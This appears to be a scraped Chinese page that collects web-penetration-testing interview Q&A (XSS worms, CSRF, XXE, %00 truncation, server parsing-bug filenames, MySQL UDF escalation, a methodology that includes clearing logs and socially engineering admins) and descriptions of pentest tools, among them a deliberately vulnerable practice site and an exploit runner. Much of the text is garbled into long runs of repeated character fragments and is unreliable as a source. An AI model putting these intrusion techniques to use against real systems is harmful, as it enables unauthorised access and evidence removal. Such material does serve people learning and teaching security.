读取DOM元素发送AJAX请求如果子域名和顶级域名不同源，在哪里可以设置叫他们同源大概就是子域相同，主域不同的意思吧，可以通过在两房都设置document.domain来解决跨域。如何设置可以跨域请求数据？jsonp是做什么的？主域相同时跨域，可以像上面那样设置document.domain. 主域不同时，可以通过jsonp，websocket，在服务端设置CORS进行跨域请求。H5新增window.postMessage方法解决跨域请求。通过<script>像服务器请求json数据，不受同源策略限制。 jsonp的业务意义？ Ajax Ajax是否遵循同源策略？ ajax全名是Asynchronous JavaScript and XML ，异步的javascript和XML技术。遵循同源策略，但是可以通过jsonp等进行规避。 JSON注入如何利用？ XSS跨站攻击 JSON和JSONP的区别？ JSONP劫持利用方式及修复方案？浏览器策略不同浏览器之间，安全策略有哪些不同，比如chrome，firefox，IE 三种浏览器都遵循同源策略，内容安全策略(CSP), Cookie安全策略（httponly, Secure, Path） CSP是什么？如何设置CSP？ CSP：Content Security Policy，内容安全策略。是繁育XSS攻击的一种安全机制，其思想是以服务器白名单的形式来配置可信的内容来源，客户端Web应用代码可以使用这些安全来源。 XSS XSS是什么，修复方式是？ XSS是跨站脚本攻击，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 xss的发生场景？个人理解是对用户提交数据为进行安全的过滤然后直接输入到页面当中，造成js代码的执行。至于具体场景，有输出的地方就有可能被xss的风险。 XSS持久化？如果给你一个XSS漏洞，你还需要哪些条件可以构造一个蠕虫？ XSS蠕虫：XSS攻击可能会造成系统中用户间的互相感染，导致整个系统用户的沦陷，能够造成这种危害的XSS漏洞成为XSS蠕虫。 1、构造一个具有自我复制的反射型XSS 2、插入评论、留言框 3、用户点击链接，链接内容指向同样的XSS向量。也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫传播。在社交类的网站中，哪些地方可能会出现蠕虫？留言板/评论/文章发布/私信... 如果叫你来防御蠕虫，你有哪些方法？ 1、将本地带有破坏性的程序改名字。 2、关闭可执行文件。 3、禁止“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。 4、开启浏览器的安全设置。如果给你一个XSS盲打漏洞，但是返回来的信息显示，他的后台是在内网，并且只能使用内网访问，那么你怎么利用这个XSS？ github有一些现成的xss扫描内网端口的脚本，可以参考利用，再根据探测出来的信息进一步利用，比如开了redis等，再就是利用漏洞去getshell. 如何防范 XSS 漏洞，在前端如何做，在后端如何做，哪里更好，为什么？黑盒如何检测XSS漏洞？ CRLF注入 CRLF注入的原理 CRLF是回车+换行的简称。碰得比较少，基本没挖到过这种洞，简而言之一般是可以通过提交恶意数据里面包含回车，换行来达到控制服务器响应头的效果。碰到过潜在的CRLF都是提交回车和换行之后就500了。CRLF的利用可以是XSS，恶意重定向location，还有set-cookie. CSRF CSRF是什么？修复方式？ CSRF是跨站请求伪造攻击，XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范`的页面然后嵌入Token、再次输入密码、检验Referer。 CSRF漏洞的本质是什么？ CSRF即跨站请求伪造，以受害者的身份向服务器发送一个请求。本质上个人觉得是服务端在执行一些敏感操作时候对提交操作的用户的身份校检不到位。防御CSRF都有哪些方法，JAVA是如何防御CSRF漏洞的，token一定有用么？防御CSRF一般是加上referer和csrf_token. 具体可以参考这篇CSRF攻击的应对之道 CSRF、SSRF和重放攻击有什么区别？ CSRF是跨站请求伪造攻击，由客户端发起 SSRF是服务器端请求伪造，由服务器发起重放攻击是将截获的数据包进行重放，达到身份认证等目的 SSRF SSRF漏洞原理、利用方式及修复方案？Java和PHP的SSRF区别？逻辑漏洞说出至少三种业务逻辑漏洞，以及修复方式？ 1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒，只要得到 Session 或 Cookie 即可伪造用户身份 3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过越权访问(水平/垂直/未授权) 谈谈水平/垂直/未授权越权访问的区别? 越权问题如何检测？ XML注入 XXE是什么？修复方案是？ XXE是XML外部实体注入攻击，XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML解析库在调用时严格禁止对外部实体的解析。 URL重定向 URL白名单绕过 HTML5 说说HTML5有哪些新的安全特性 H5新增了不少标签，在绕过xss防御方面多了不少选择。还有就是新增了本地存储，localstorage 和session storage,可以通过xss修改本地存储达到类似一个存储xss的效果。 * HTML5白名单要有哪些标签参考HTML5安全问题 java 你都了解哪些java框架？ struts2 ,spring,spring security, shiro 等 java的MVC结构都是做什么的，数据流向数据库的顺序是什么？了解java沙箱吗？ ibats的参数化查询能不能有效的控制sql注入？有没有危险的方法可以造成sql注入？说说两次struts2漏洞的原理 ongl在这个payload中起了什么作用？ \u0023是什么字符的16进制编码？为什么在payload中要用他？ java会不会发生执行系统命令的漏洞？java都有哪些语句，方法可以执行系统命令如果叫你修复一个xss漏洞，你会在java程序的那个层里面进行修复？ xss filter在java程序的哪里设置？说下java的类反射在安全上可能存在哪些问题 Java反序列化漏洞的原理?解决方案? PHP php里面有哪些方法可以不让错误回显？ php的配置文件php.ini进行了修改，display_errors = On 修改为 display_errors = off时候就没有报错提示。在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用除了上面的，还可以在执行语句前面添加@ php.ini可以设置哪些安全特性关闭报错，设置open_basedir，禁用危险函数，打开gpc。有具体的文章介绍安全配置这一块，属于运维的工作范围。 php的%00截断的原理是什么？存在于5.3.4版本下，一般利用在文件上传时文件名的截断，或者在对文件进行操作时候都有可能存在00阶段的情况。如filename=test.php%00.txt 会被截断成test.php，00后面的被忽略。系统在对文件名读取时候，如果遇到0x00,就会认为读取已经结束了。 php webshell检测，有哪些方法个人知道的大体上分为静态检测和动态检测两种。静态检测比如查找危险函数，如eval，system等。动态检测是检测脚本运行时要执行的动作，比如文件操作，socket操作等。具体方法可以是通过D盾或者其他查杀软件进行查杀，现在也有基于机器学习的webshell识别。 php的LFI，本地包含漏洞原理是什么？写一段带有漏洞的代码。手工的话如何发掘？如果无报错回显，你是怎么遍历文件的？ php反序列化漏洞的原理?解决方案? 中间件 tomcat要做哪些安全加固？如果tomcat重启的话，webapps下，你删除的后台会不会又回来？常见的网站服务器中间件容器。 IIS、Apache、nginx、Lighttpd、Tomcat JAVA有哪些比较常见的中间件容器？ Tomcat/Jetty/JBOSS/WebLogic/Coldfusion/Websphere/GlassFish 说说常见的中间件解析漏洞利用方式 IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名 IIS 7.0/7.5 默认Fast-CGI开启，直接在url中图片地址后面输入/1.php，会把正常图片当成php解析 Nginx 版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg%00.php Apache 上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀 lighttpd xx.jpg/xx.php Redis未授权访问漏洞如何入侵利用？数据库 mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件? 1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32，在windows2000下放置于c:\winnt\system32。 3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数，一般以root账号为佳，具备`root账号所具备的权限的其它账号也可以。 4)可以将udf.dll写入到相应目录的权限。 mysql数据库默认有哪些库？说出库的名字 infomation_schema， msyql， performance_scheme, test mysql的用户名密码是存放在那张表里面？mysql密码采用哪种加密方式？ mysql数据库下的user表。 mysql表权限里面，除了增删改查，文件读写，还有哪些权限？ mysql安全要如何做？ sqlserver public权限要如何提权 Windows、Linux、数据库的加固降权思路，任选其一 Linux 简述Linux系统安全加固需要做哪些方面你使用什么工具来判断系统是否存在后门 Linux的Selinux是什么？如何设置Selinux？ iptables工作在TCPIP模型中的哪层？如果无法升级内核，那么如何保证系统不被已知的exp提权？ syslog里面都有哪些日志？安装软件的日志去哪找？如何查询ssh的登录日志？如何配置syslog的日志格式？ syslog可不可以使用vi等工具直接查看？是二进制文件吗？如果一台Linux服务器被入侵后,你会如何做应急响应? 反弹 shell 的常用命令？一般常反弹哪一种 shell？为什么？应急响应有哪几种后门实现方式？ webshell检测有什么方法思路？ Linux服务器中了木马后，请简述应急思路？遇到新0day(比如Struts2)后，应该如何进行应急响应？新业务上线前可以从哪些方向进行安全评估？现有系统可以从哪些方向进行审计发现其中的安全风险？信息采集踩点都要采集哪些信息？ DNS在渗透中的作用如何绕过CDN获取目标网站真实IP，谈谈你的思路？绕过CDN寻找网站真实IP的方法汇总如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下 1.信息收集 1)获取域名的whois信息,获取注册者邮箱姓名电话等。 2)查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。 3)查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞 4)查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血， mysql,ftp,ssh弱口令等。 5)扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如php探针 6)google hack 进一步探测网站的信息，后台，敏感文件 2.漏洞扫描开始检测漏洞，如XSS,CSRF,SQL注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等 3.漏洞利用利用以上的方式拿到webshell，或者其他权限 4.权限提升提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如iis6,pr, 巴西烤肉 linux脏牛漏洞，linux内核版本漏洞提权，linux下的mysql root提权以及oracle低权限提权 5.日志清理 6.总结报告及修复方案在渗透过程中，收集目标站注册人邮箱对我们有什么价值？ 1)丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。 2)用邮箱做关键词进行丢进搜索引擎。 3)利用搜索到的关联信息找出其他邮进而得到常用社交账号。 4)社工找出社交账号，里面或许会找出管理员设置密码的习惯。 5)利用已有信息生成专用字典。 6)观察管理员常逛哪些非大众性网站，拿下它，你会得到更多好东西。判断出网站的CMS对渗透有什么意义？ 1)查找网上已曝光的程序漏洞。 2)如果开源，还能下载相对应的源码进行代码审计。 3)一个成熟并且相对安全的CMS，渗透时扫目录的意义？ 4)敏感文件、二级目录扫描 5)站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点介绍绍一一下下自自认认为为有有趣趣的的挖挖洞洞经经历介绍一绍一下一下自下自认自认为认为有为有趣有趣的趣的挖的挖洞挖洞经洞经历介绍一下绍一下自一下自认下自认为自认为有认为有趣为有趣的有趣的挖趣的挖洞的挖洞经挖洞经历你平平时时用用的的比比较较多多的的漏漏洞洞是是哪哪些你平时平时用时用的用的比的比较比较多较多的多的漏的漏洞漏洞是洞是哪是哪些你平时用平时用的时用的比用的比较的比较多比较多的较多的漏多的漏洞的漏洞是漏洞是哪洞是哪些相关关漏洞的的原原理相关漏关漏洞漏洞的洞的原的原理相关漏洞关漏洞的漏洞的原洞的原理以及及对对应应漏的修修复复方方案以及对及对应对应漏应漏洞洞的修的修复修复方复方案以及对应及对应漏对应漏洞应漏洞的漏洞的修洞的修复的修复方修复方案时使使用用哪些工工具平时使时使用使用哪用哪些哪些工些工具你平时使平时使用时使用哪使用哪些用哪些工哪些工具应工具的的特特点对应工应工具工具的具的特的特点及对应工对应工具应工具的工具的特具的特点如果果遇遇到如果遇果遇到如果遇到的情情况况下下如如何何进进行的情况情况下况下如下如何如何进何进行的情况下情况下如况下如何下如何进如何进行注入上传怎么么做怎么做请写写出出曾曾经经绕绕过请写出写出曾出曾经曾经绕经绕过请写出曾写出曾经出曾经绕曾经绕过的经经过的经过传漏洞选选一上传漏传漏洞漏洞选洞选一上传漏洞传漏洞选漏洞选一参考考以以下下三三篇参考以考以下以下三下三篇参考以下考以下三以下三篇我的之道入篇注入篇谈一一谈谈一谈系统统与系统与统提提权权的的思思路系统提统提权提权的权的思的思路系统提权统提权的提权的思权的思路列举举出出您您所所知知道道的的所所有有开开源源组组件件高高危危漏列举出举出您出您所您所知所知道知道的道的所的所有所有开有开源开源组源组件组件高件高危高危漏危漏洞列举出您举出您所出您所知您所知道所知道的知道的所道的所有的所有开所有开源有开源组开源组件源组件高组件高危件高危漏高危漏洞十个个以以上十个以个以上十个以上描述述一一个个你你深深入入研研究究过过的描述一述一个一个你个你深你深入深入研入研究研究过究过的描述一个述一个你一个你深个你深入你深入研深入研究入研究过研究过的何判判断如何判何判断如何判断有哪些方方法有哪些哪些方些方法有哪些方哪些方法添加加单单引引号添加单加单引单引号添加单引加单引号双引双引号运算算符运算符修改改数数据据类类型修改数改数据数据类据类型修改数据改数据类数据类型报错错注入语语句句测测试报错注错注入注入语入语句语句测句测试报错注入错注入语注入语句入语句测语句测试入漏洞成成因注入漏入漏洞漏洞成洞成因注入漏洞入漏洞成漏洞成因何防防范如何防何防范如何防范入方方式式有注入方入方式方式有式有哪注入方式入方式有方式有哪式有哪些除了了数据库库数除了数了数据数据库据库数库数据除了数据了数据库数据库数据库数据利用用方式还还有利用方用方式方式还式还有还有哪利用方式用方式还方式还有式还有哪还有哪些宽字字符符注入的宽字符字符注符注入注入的入的原宽字符注字符注入符注入的注入的原入的原理何利用宽如何利何利用利用宽用宽字如何利用何利用宽利用宽字用宽字符符注入漏何构构造造及及修如何构何构造构造及造及修及修复如何构造何构造及构造及修造及修复及修复方通俗俗讲通俗讲等编编码码占占了了两两个个字字节等编码编码占码占了占了两了两个两个字个字节等编码占编码占了码占了两占了两个了两个字两个字节句进进后后端端后后对对单号等等进行了了转转义语句进句进后进后端

2022年10月15日4年前
6篇回复

0x00 前言使用中遇到任何问题请在QQ群中进行反馈，我将倾力相助，QQ群号码见下方一、轻松渗透测试系统轻松渗透测试系统是我刚学PHP的时候开发的一个基于lamp环境的web应用。代码很简单，开发初衷主要是学习PHP，现在发现当初写的这个程序好多漏洞，想了想可以用这个系统来训练挖掘漏洞能力。现在开源出来，遵从MIT许可协议。如果大家有什么建议和想法，欢迎和我一起完善。二、用途：目前我主要用于WEB安全演示教学,也用来自己练习挖掘漏洞目前发下包含了以下漏洞: 包含sql注入、XSS跨站、CSRF、本地包含等常见的web漏洞包含密码找回、验证码等逻辑型漏洞包含git/备份之类文件泄漏包含图片附件类目录php执行权限包含webShell上传漏洞三、推荐安装: 很多人在安装环境出现问题，因此我提供了两种安装方式，docker安装和传统安装，最简单的是用docker安装，具体安装方法如下 3.1 Docker安装 permeate支持采用docker安装，这样安装起来更加简洁，安装教程文档如下 https://segmentfault.com/a/1190000017151621 3.2 传统安装：项目在lamp环境下开发,建议在WampServer下安装,安装主要有两个要点，首先是添加一个虚拟主机，然后修改hosts文件增加虚拟主机首先来看增加虚拟主机的方法，假设安装路径为: E:\www\permeate，在httpd.conf的最后位置添加 <VirtualHost *:80> DocumentRoot "E:\www\permeate" ServerName permeate.localhost <Directory "E:\www\permeate"> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> </VirtualHost> 在修改并保存之后，还需要重启WampServer，让配置文件生效。修改hosts文件新增虚拟主机之后，现在需要修改hosts文件，windows系统hosts位置是 C:\Windows\System32\drivers\etc\hosts 127.0.0.1 permeate.localhost 开始安装 permeate系统提供在线安装功能，但很多人会报错，因此这里的安装方法是通过直接导入数据库，并修改配置文件的方式，导入数据库这里不做过讲解，主要提一下如何修改配置文件，配置文件位置是 /conf/dbconf.php //数据库位置 !defined('DB_HOST') && define('DB_HOST', 'localhost'); //用户名 !defined('DB_USER') && define('DB_USER', 'root'); //密码 !defined('DB_PASS') && define('DB_PASS', 'root'); //数据库名称 !defined('DB_NAME') && define('DB_NAME', 'qingsong_bbs'); !defined('DB_CHARSET') && define('DB_CHARSET', 'utf8'); 上面的配置文件在正常安装流程下不需要手动去编辑 3.3 运行效果下载地址：https://github.com/78778443/permeate 前言使用用中中遇遇到到任任何何问问题题请请在使用中用中遇中遇到遇到任到任何任何问何问题问题请题请在使用中遇用中遇到中遇到任遇到任何到任何问任何问题何问题请问题请在群中中进进行行反反馈群中进中进行进行反行反馈群中进行中进行反进行反馈我将将倾倾力力相相助我将倾将倾力倾力相力相助我将倾力将倾力相倾力相助群号号码码见见下下方群号码号码见码见下见下方群号码见号码见下码见下方轻松松渗渗透透测测试试系系统轻松渗松渗透渗透测透测试测试系试系统轻松渗透松渗透测渗透测试透测试系测试系统统是是我我刚刚学系统是统是我是我刚我刚学试系统是系统是我统是我刚是我刚学的时时候候开开发发的的一一个个基基于的时候时候开候开发开发的发的一的一个一个基个基于的时候开时候开发候开发的开发的一发的一个的一个基一个基于环境境的环境的应用代码码很很简简单代码很码很简很简单代码很简码很简单发初初衷衷主主要要是是学学习开发初发初衷初衷主衷主要主要是要是学是学习开发初衷发初衷主初衷主要衷主要是主要是学要是学习现在在发发现现当当初初写写的的这这个个程程序序好好多多漏漏洞现在发在发现发现当现当初当初写初写的写的这的这个这个程个程序程序好序好多好多漏多漏洞现在发现在发现当发现当初现当初写当初写的初写的这写的这个的这个程这个程序个程序好程序好多序好多漏好多漏洞想了了想想可可以以用用这个系统来来训训练练挖挖掘掘漏洞能能力想了想了想可想可以可以用以用这用这个这个系个系统系统来统来训来训练训练挖练挖掘挖掘漏掘漏洞漏洞能洞能力想了想可了想可以想可以用可以用这以用这个用这个系这个系统个系统来系统来训统来训练来训练挖训练挖掘练挖掘漏挖掘漏洞掘漏洞能漏洞能力在开开源源出出来现在开在开源开源出源出来现在开源在开源出开源出来遵从许可可协协议许可协可协议许可协议如果果大大家家有有什什么么建建议议和和想想法如果大果大家大家有家有什有什么什么建么建议建议和议和想和想法如果大家果大家有大家有什家有什么有什么建什么建议么建议和建议和想议和想法欢迎迎和和我我一一起起完完善欢迎和迎和我和我一我一起一起完起完善欢迎和我迎和我一和我一起我一起完一起完善用途目前前我我主要用用于目前我前我主我主要主要用要用于目前我主前我主要我主要用主要用于安全全演演示示教教学安全演全演示演示教示教学安全演示全演示教演示教学也用用来来自自己己练练习习挖也用来用来自来自己自己练己练习练习挖习挖掘也用来自用来自己来自己练自己练习己练习挖练习挖掘习挖掘漏前发发下下包包含含了了以以下下漏目前发前发下发下包下包含包含了含了以了以下以下漏下漏洞目前发下前发下包发下包含下包含了包含了以含了以下了以下漏以下漏洞注入跨站本地地包含等等常常见见的本地包地包含包含等含等常等常见常见的本地包含地包含等包含等常含等常见等常见的含密密码码找找回包含密含密码密码找码找回包含密码含密码找密码找回验证证码码等等逻逻辑辑型型漏验证码证码等码等逻等逻辑逻辑型辑型漏型漏洞验证码等证码等逻码等逻辑等逻辑型逻辑型漏辑型漏洞备份份之之类类文文件件泄泄漏备份之份之类之类文类文件文件泄件泄漏备份之类份之类文之类文件类文件泄文件泄漏含图图片片附附件件类类目目录包含图含图片图片附片附件附件类件类目类目录包含图片含图片附图片附件片附件类附件类目件类目录执行行权权限执行权行权限执行权限上传传漏上传漏传漏洞上传漏洞推荐荐安安装推荐安荐安装推荐安装很多多人人在在安装环境出出现现问很多人多人在人在安在安装安装环装环境环境出

2022年10月15日4年前

pythonwebhack 用python 2.7实现的web框架建立的在线渗透平台 web框架是flask 前端框架是amazeUI 安装 pip install flask pip install requests pip install MySQLdb [usage]: python myweb.py 乌云数据库文件安装链接: http://pan.baidu.com/s/1hrKYy8W 密码: yrrr 更新 12.7 更新加入乌云漏洞库忽略漏洞查询 11.22 更新集成了乌云漏洞查询搭建教程 11.7 更新加入了在线社工库调用的接口~ 10.25 更新加入了社会工程学密码生成和whois查询 10.21 更新加入了CMS在线识别学习教程每一步都记录了编写记录实现现的实现的框架架建建立立的的在在线线渗渗透透平平台框架建架建立建立的立的在的在线在线渗线渗透渗透平透平台框架建立架建立的建立的在立的在线的在线渗在线渗透线渗透平渗透平台架是框架是前端端框前端框端框架前端框架端框架是安装乌云云数数据据库库文文件件安乌云数云数据数据库据库文库文件文件安件安装乌云数据云数据库数据库文据库文件库文件安文件安装链接密码更新加入入乌云漏漏洞洞库库忽忽略略漏洞查查询加入乌入乌云乌云漏云漏洞漏洞库洞库忽库忽略忽略漏略漏洞漏洞查洞查询加入乌云入乌云漏乌云漏洞云漏洞库漏洞库忽洞库忽略库忽略漏忽略漏洞略漏洞查漏洞查询集成成了了乌集成了成了乌了乌云集成了乌成了乌云了乌云漏云漏洞查搭建建教教程搭建教建教程搭建教程入了了在线社社工工库加入了入了在了在线在线社线社工社工库加入了在入了在线了在线社在线社工线社工库调用用的的接接口调用的用的接的接口调用的接用的接口了社社会会工工程程学学密码生生成成和入了社了社会社会工会工程工程学程学密学密码密码生码生成生成和加入了社入了社会了社会工社会工程会工程学工程学密程学密码学密码生密码生成码生成和线识识别在线识线识别在线识别学习习教学习教习教程学习教程每一一步步都都记记录录了每一步一步都步都记都记录记录了每一步都一步都记步都记录都记录了编写写记编写记写记录编写记录

2022年10月15日4年前

Kali Linux Web 渗透测试秘籍中文版原书：Kali Linux Web Penetration Testing Cookbook 译者：飞龙第二版请见 Kali Linux Web 渗透测试手册（第二版）在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 协议 CC BY-NC-SA 4.0 渗透透测测试试秘秘籍渗透测透测试测试秘试秘籍渗透测试透测试秘测试秘籍中文文版中文版原书译者飞龙第二二版版请请见第二版二版请版请见第二版请二版请见试手手册测试手试手册透测试手测试手册在线线阅阅读在线阅线阅读在线阅读格式协议

2022年10月15日4年前

瓶颈渗透 1.JS文件字典 (持续压迫前端工程师给我提供) 使用技巧: 比如我们渗透一个后台系统，查看源码，分析公共js目录，后台管理js目录。当得到路径就可以进行爆破探测文件是否存在，如果存在快速捕获接口进行测试SQLI,未授权访问当毫无思路得情况下，根据js文件分析网站后台大概结构，根据变量名，文件名进行深度猜测。 2.FUZZ参数字典使用技巧: 初始化字典地址:https://github.com/TheKingOfDuck/fuzzDicts/edit/master/paramDict/parameter.txt 如http://127.0.0.1/1.php ,视为可疑文件，进行fuzz param 选择GET,POST AND (POST JSON) AND (GET Route) AND cookie param 3.ScanAnnotation注释扫描谷歌插件使用技巧: 谷歌浏览器，进入扩展程序开启开发者模式，选择加载已解压的扩展程序谷歌应用商店: https://chrome.google.com/webstore/detail/scanannotation/gejiegnodfccfhagbeaopeffcdbcgfef?hl=zh-CN (切换账户上架谷歌平台) 后续更新支持webpack注释扫描(随缘更新) 通过注释可以发现一些利用的内容，有的程序员喜欢写上这个是什么功能,你就可以猜出后台或者隐藏的功能，有的还会贴上后台地址啥，配置文件内网域名各种吧。ctf也可以辅助一下哦！ 4.js,jq,vue,react,angluar 快速提取api and param 正在研究参考资料:https://github.com/GerbenJavado/LinkFinder （基本是同个功能还有谷歌插件）参考资料:https://github.com/p1g3/JSINFO-SCAN （递归式寻找域名和api）近期发现Vue.js devtools,Augury,React Developer Tools等谷歌插件,如js代码没有进行变态处理，可以直接使用获取路由 5.WEB前端的渲染艺术参考资料:https://mp.weixin.qq.com/s/AfGkqO0O087W24wHgUVs-g 6.manifest遍历JS文件通过manifest.xxx.js 自动猜测 app.xxx.js 使用方式: manifest_find_js.py https://xxxx.com/pc/js/manifest.e90b779b12a4f25606f0.js app app是文件名可自定义 7.chunk加载瓶颈颈渗渗透瓶颈渗颈渗透瓶颈渗透文件件字字典文件字件字典文件字典持续续压压迫迫前前端端工工程程师师给给我我提提供持续压续压迫压迫前迫前端前端工端工程工程师程师给师给我给我提我提供持续压迫续压迫前压迫前端迫前端工前端工程端工程师工程师给程师给我师给我提给我提供使用用技技巧使用技用技巧使用技巧比如如我我们们渗透一一个个后后台台系系统比如我如我们我们渗们渗透渗透一透一个一个后个后台后台系台系统比如我们如我们渗我们渗透们渗透一渗透一个透一个后一个后台个后台系后台系统查看看源源码查看源看源码查看源码分析析公公共分析公析公共分析公共目录台管管理后台管台管理后台管理当得得到到路路径径就就可可以以进进行行爆爆破破探探测测文件是是否否存存在当得到得到路到路径路径就径就可就可以可以进以进行进行爆行爆破爆破探破探测探测文测文件文件是件是否是否存否存在当得到路得到路径到路径就路径就可径就可以就可以进可以进行以进行爆进行爆破行爆破探爆破探测破探测文探测文件测文件是文件是否件是否存是否存在如果果存在快快速速捕捕获获接接口口进行测测试如果存果存在存在快在快速快速捕速捕获捕获接获接口接口进口进行进行测行测试如果存在果存在快存在快速在快速捕快速捕获速捕获接捕获接口获接口进接口进行口进行测进行测试未授授权权访访问未授权授权访权访问未授权访授权访问当毫毫无无思思路路得得情情况况下当毫无毫无思无思路思路得路得情得情况情况下当毫无思毫无思路无思路得思路得情路得情况得情况下根据件分析网网站站后台大大概概结结构文件分件分析分析网析网站网站后站后台后台大台大概大概结概结构文件分析件分析网分析网站析网站后网站后台站后台大后台大概台大概结大概结构据变变量量名根据变据变量变量名根据变量据变量名件名名进行深深度度猜猜测文件名件名进名进行进行深行深度深度猜度猜测文件名进件名进行名进行深进行深度行深度猜深度猜测参数数字参数字数字典参数字典初始始化化字典地地址初始化始化字化字典字典地典地址初始化字始化字典化字典地字典地址视为为可可疑疑文视为可为可疑可疑文疑文件视为可疑为可疑文可疑文件选择注释释扫扫描描谷谷歌歌插插件注释扫释扫描扫描谷描谷歌谷歌插歌插件注释扫描释扫描谷扫描谷歌描谷歌插谷歌插件歌浏浏览览器谷歌浏歌浏览浏览器谷歌浏览歌浏览器进入入扩扩展展程程序序开开启启开开发发者者模模式进入扩入扩展扩展程展程序程序开序开启开启开启开发开发者发者模者模式进入扩展入扩展程扩展程序展程序开程序开启序开启开开启开发启开发者开发者模发者模式择加加载载已已解解压压的的扩选择加择加载加载已载已解已解压解压的压的扩的扩展选择加载择加载已加载已解载已解压已解压的解压的扩压的扩展的扩展程歌应应用用商商店谷歌应歌应用应用商用商店谷歌应用歌应用商应用商店切换换账账户户上上架架谷歌平平台切换账换账户账户上户上架上架谷架谷歌谷歌平歌平台切换账户换账户上账户上架户上架谷上架谷歌架谷歌平谷歌平台后续续更更新新支支持后续更续更新更新支新支持后续更新续更新支更新支持随缘缘更随缘更缘更新随缘更新通过过注释可以发发现现一一些些利利用用的的内内容通过注过注释注释可释可以可以发以发现发现一现一些一些利些利用利用的用的内的内容通过注释过注释可注释可以释可以发可以发现以发现一发现一些现一些利一些利用些利用的利用的内用的内容有的的程序员员喜喜欢欢写写上上这这个个是是什什么么功功能有的程的程序程序员序员喜员喜欢喜欢写欢写上写上这上这个这个是个是什是什么什么功么功能有的程序

2022年10月15日4年前

pentestdb 1 介绍本项目用于提供渗透测试的辅助工具(pentest-tool)、资源文件郑重声明：本项目仅供学习交流，请勿使用本项目进行任何未经授权的渗透测试。 1.1 辅助工具提供轻量级的易扩展的工具，可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等；包含以下功能： Exploit系统。易扩展的exploit系统，能够使用API快速编写exploit，能够批量执行exploit 子域名爆破。爆破子域名，使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描，支持生成html格式输出文件服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件，整站备份、配置备份、敏感文件等社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking，生成URL字典编解码等功能。支持非常丰富的编解码方式，方便做payload编码 1.2 资源文件各种渗透测试常用的资源文件，包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 pentestdb中提供的渗透测试资源可以直接使用，但pentest-tool需要安装到系统中。安装过程如下从这里下载最新版本，或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地，然后执行以下命令安装： cd pentestdb cd pentest-tool pip install -r requirements.txt python setup.py install pentestdb支持Windows/Linux/MacOS，需使用python 2.6.x 或 2.7.x运行注：在一些系统中，安装lxml会出现编译错误，此时可到这里下载安装包，通过手动安装方式安装。步骤： 2.1 解决nmap依赖项目中的C段扫描依赖于nmap扫描器到这里下载nmap相应版本在windows下需要设置环境变量，让系统能够找到nmap.exe。 3 使用 3.1 pentest-tool 项目中的python-tool工具提供用有用的渗透辅助功能。 3.1.1 Exploit系统 pentest-tool的exploit子命令提供了exploit模块相关操作，exploit模块是一个轻量级的exploit框架，可以编写各种web漏洞的exploit：搜索exploit信息增加、删除、修改exploit信息执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下例如： # 列举、搜索、注册、更新、删除 pentest exploit -l pentest exploit -q appName:joomla pentest exploit --register exploit pentest exploit --update cms_joomla_3_4_session_object_injection.py pentest exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pentest exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pentest exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pentest exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pentest exploit -s appName:joomla -u @url.txt 注：有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pentest-tool的service子命令提供了服务端应用识别的功能，能够识别服务器信息，包括：操作系统 web服务器 web中间件 CMS等例如： pentest service http://xxx.com # 开启CMS识别加强模式 pentest service http://xxx.com --cms 3.1.3 社工密码字典生成 pentest-tool的password子命令提供了根据社工信息生成密码字典的功能，能够设置不同关键字生成密码字典该模块可通过以下要素组合生成密码：全名，--fullname，名字中各个字中间加空格，例如"lin zhi ling" 昵称，--nickname 